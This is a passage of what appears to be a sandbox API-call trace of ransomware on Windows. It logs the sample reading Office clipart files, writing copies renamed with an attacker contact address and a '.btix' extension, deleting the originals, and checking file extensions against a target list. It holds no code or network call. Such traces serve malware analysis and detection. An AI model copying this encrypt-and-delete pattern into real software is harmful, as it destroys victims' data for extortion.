nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x406c, lpOverlapped=0x0) returned 1 [0154.864] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4070, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x4070, lpOverlapped=0x0) returned 1 [0154.865] ReadFile (in: hFile=0x378, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.865] WriteFile (in: hFile=0x354, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.865] SetEndOfFile (hFile=0x354) returned 1 [0154.865] CloseHandle (hObject=0x354) returned 1 [0154.865] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.865] SetEndOfFile (hFile=0x378) returned 1 [0154.866] CloseHandle (hObject=0x378) returned 1 [0154.866] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.866] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf")) returned 1 [0154.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0154.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0154.867] lstrlenW (lpString=".doc") returned 4 [0154.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.867] lstrlenW (lpString=".docx") returned 5 [0154.867] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0154.867] lstrlenW (lpString=".pdf") returned 4 [0154.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.867] lstrlenW (lpString=".xls") returned 4 [0154.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.867] lstrlenW (lpString=".xlsx") returned 5 [0154.867] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0154.867] lstrlenW (lpString=".ppt") returned 4 [0154.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0154.867] lstrlenW (lpString=".zip") returned 4 [0154.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.867] lstrlenW (lpString=".rar") returned 4 [0154.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.867] lstrlenW (lpString=".bz2") returned 4 [0154.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.868] lstrlenW (lpString=".7z") returned 3 [0154.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0154.868] lstrlenW (lpString=".dbf") returned 4 [0154.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0154.868] lstrlenW (lpString=".1cd") returned 4 [0154.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF") returned 68 [0154.868] lstrlenW (lpString=".jpg") returned 4 [0154.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.873] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.873] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0154.882] GetLastError () returned 0x0 [0154.882] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2c4c, lpOverlapped=0x0) returned 1 [0154.885] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2c50, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2c50, lpOverlapped=0x0) returned 1 [0154.885] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.886] WriteFile (in: hFile=0x368, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.886] SetEndOfFile (hFile=0x368) returned 1 [0154.886] CloseHandle (hObject=0x368) returned 1 [0154.886] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.886] SetEndOfFile (hFile=0x38c) returned 1 [0154.887] CloseHandle (hObject=0x38c) returned 1 [0154.887] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0154.887] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf")) returned 1 [0154.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0154.887] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0154.887] lstrlenW (lpString=".doc") returned 4 [0154.887] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.887] lstrlenW (lpString=".docx") returned 5 [0154.887] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0154.887] lstrlenW (lpString=".pdf") returned 4 [0154.887] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.888] lstrlenW (lpString=".xls") returned 4 [0154.888] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.888] lstrlenW (lpString=".xlsx") returned 5 [0154.888] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0154.888] lstrlenW (lpString=".ppt") returned 4 [0154.888] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0154.888] lstrlenW (lpString=".zip") returned 4 [0154.888] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.888] lstrlenW (lpString=".rar") returned 4 [0154.888] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.888] lstrlenW (lpString=".bz2") returned 4 [0154.888] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.888] lstrlenW (lpString=".7z") returned 3 [0154.888] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0154.888] lstrlenW (lpString=".dbf") returned 4 [0154.888] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0154.888] lstrlenW (lpString=".1cd") returned 4 [0154.888] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.888] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF") returned 68 [0154.888] lstrlenW (lpString=".jpg") returned 4 [0154.888] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.907] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.912] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.912] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0155.155] GetLastError () returned 0x0 [0155.155] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x3eb4, lpOverlapped=0x0) returned 1 [0155.159] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x3ec0, lpOverlapped=0x0) returned 1 [0155.160] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.160] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.161] SetEndOfFile (hFile=0x358) returned 1 [0155.161] CloseHandle (hObject=0x358) returned 1 [0155.161] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.161] SetEndOfFile (hFile=0x38c) returned 1 [0155.162] CloseHandle (hObject=0x38c) returned 1 [0155.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0155.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0155.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0155.230] lstrlenW (lpString=".doc") returned 4 [0155.230] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString=".docx") returned 5 [0155.230] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.230] lstrlenW (lpString=".pdf") returned 4 [0155.230] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString=".xls") returned 4 [0155.230] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.230] lstrlenW (lpString=".xlsx") returned 5 [0155.230] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0155.230] lstrlenW (lpString=".ppt") returned 4 [0155.230] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0155.230] lstrlenW (lpString=".zip") returned 4 [0155.230] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.230] lstrlenW (lpString=".rar") returned 4 [0155.230] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.230] lstrlenW (lpString=".bz2") returned 4 [0155.230] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.231] lstrlenW (lpString=".7z") returned 3 [0155.231] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0155.231] lstrlenW (lpString=".dbf") returned 4 [0155.231] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0155.231] lstrlenW (lpString=".1cd") returned 4 [0155.231] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.231] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0155.231] lstrlenW (lpString=".jpg") returned 4 [0155.231] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.236] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.236] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.237] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0155.241] GetLastError () returned 0x0 [0155.241] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x2628, lpOverlapped=0x0) returned 1 [0155.260] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x2630, lpOverlapped=0x0) returned 1 [0155.261] ReadFile (in: hFile=0x38c, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.261] WriteFile (in: hFile=0x358, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.261] SetEndOfFile (hFile=0x358) returned 1 [0155.261] CloseHandle (hObject=0x358) returned 1 [0155.261] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.261] SetEndOfFile (hFile=0x38c) returned 1 [0155.262] CloseHandle (hObject=0x38c) returned 1 [0155.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf")) returned 1 [0155.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0155.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0155.263] lstrlenW (lpString=".doc") returned 4 [0155.263] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.263] lstrlenW (lpString=".docx") returned 5 [0155.263] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.263] lstrlenW (lpString=".pdf") returned 4 [0155.263] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.263] lstrlenW (lpString=".xls") returned 4 [0155.263] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.263] lstrlenW (lpString=".xlsx") returned 5 [0155.263] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.263] lstrlenW (lpString=".ppt") returned 4 [0155.263] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0155.263] lstrlenW (lpString=".zip") returned 4 [0155.263] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.263] lstrlenW (lpString=".rar") returned 4 [0155.263] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.263] lstrlenW (lpString=".bz2") returned 4 [0155.263] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.263] lstrlenW (lpString=".7z") returned 3 [0155.263] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.263] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0155.263] lstrlenW (lpString=".dbf") returned 4 [0155.263] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0155.264] lstrlenW (lpString=".1cd") returned 4 [0155.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF") returned 68 [0155.264] lstrlenW (lpString=".jpg") returned 4 [0155.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.275] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.275] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.275] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0155.287] GetLastError () returned 0x0 [0155.287] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x1748, lpOverlapped=0x0) returned 1 [0155.292] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x1750, lpOverlapped=0x0) returned 1 [0155.292] ReadFile (in: hFile=0x390, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.292] WriteFile (in: hFile=0x35c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.292] SetEndOfFile (hFile=0x35c) returned 1 [0155.293] CloseHandle (hObject=0x35c) returned 1 [0155.293] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.293] SetEndOfFile (hFile=0x390) returned 1 [0155.293] CloseHandle (hObject=0x390) returned 1 [0155.293] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.294] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152610.wmf")) returned 1 [0155.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0155.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0155.294] lstrlenW (lpString=".doc") returned 4 [0155.294] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.294] lstrlenW (lpString=".docx") returned 5 [0155.294] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0155.294] lstrlenW (lpString=".pdf") returned 4 [0155.294] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0155.295] lstrlenW (lpString=".xls") returned 4 [0155.295] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0155.295] lstrlenW (lpString=".xlsx") returned 5 [0155.295] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0155.295] lstrlenW (lpString=".ppt") returned 4 [0155.295] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0155.295] lstrlenW (lpString=".zip") returned 4 [0155.295] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0155.295] lstrlenW (lpString=".rar") returned 4 [0155.295] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0155.295] lstrlenW (lpString=".bz2") returned 4 [0155.295] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0155.295] lstrlenW (lpString=".7z") returned 3 [0155.295] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0155.295] lstrlenW (lpString=".dbf") returned 4 [0155.295] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0155.295] lstrlenW (lpString=".1cd") returned 4 [0155.295] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0155.295] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152610.WMF") returned 68 [0155.295] lstrlenW (lpString=".jpg") returned 4 [0155.295] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0155.300] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.300] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.300] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0155.302] GetLastError () returned 0x0 [0155.302] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x8774, lpOverlapped=0x0) returned 1 [0155.323] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x8780, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0x8780, lpOverlapped=0x0) returned 1 [0155.324] ReadFile (in: hFile=0x348, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0155.324] WriteFile (in: hFile=0x36c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x301fc94*=0xec, lpOverlapped=0x0) returned 1 [0155.324] SetEndOfFile (hFile=0x36c) returned 1 [0155.325] CloseHandle (hObject=0x36c) returned 1 [0155.325] SetFilePointerEx (in: hFile=0x348, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0155.325] SetEndOfFile (hFile=0x348) returned 1 [0155.326] CloseHandle (hObject=0x348) returned 1 [0155.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0155.326] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152688.wmf")) returned 1 [0155.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0155.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152688.WMF") returned 68 [0155.327] lstrlenW (lpString=".doc") returned 4 [0155.327] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0155.327] lstrlenW (lpString=".docx") returned 5 [0155.327] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0155.327] lstrlenW (lpString=".pdf") returned 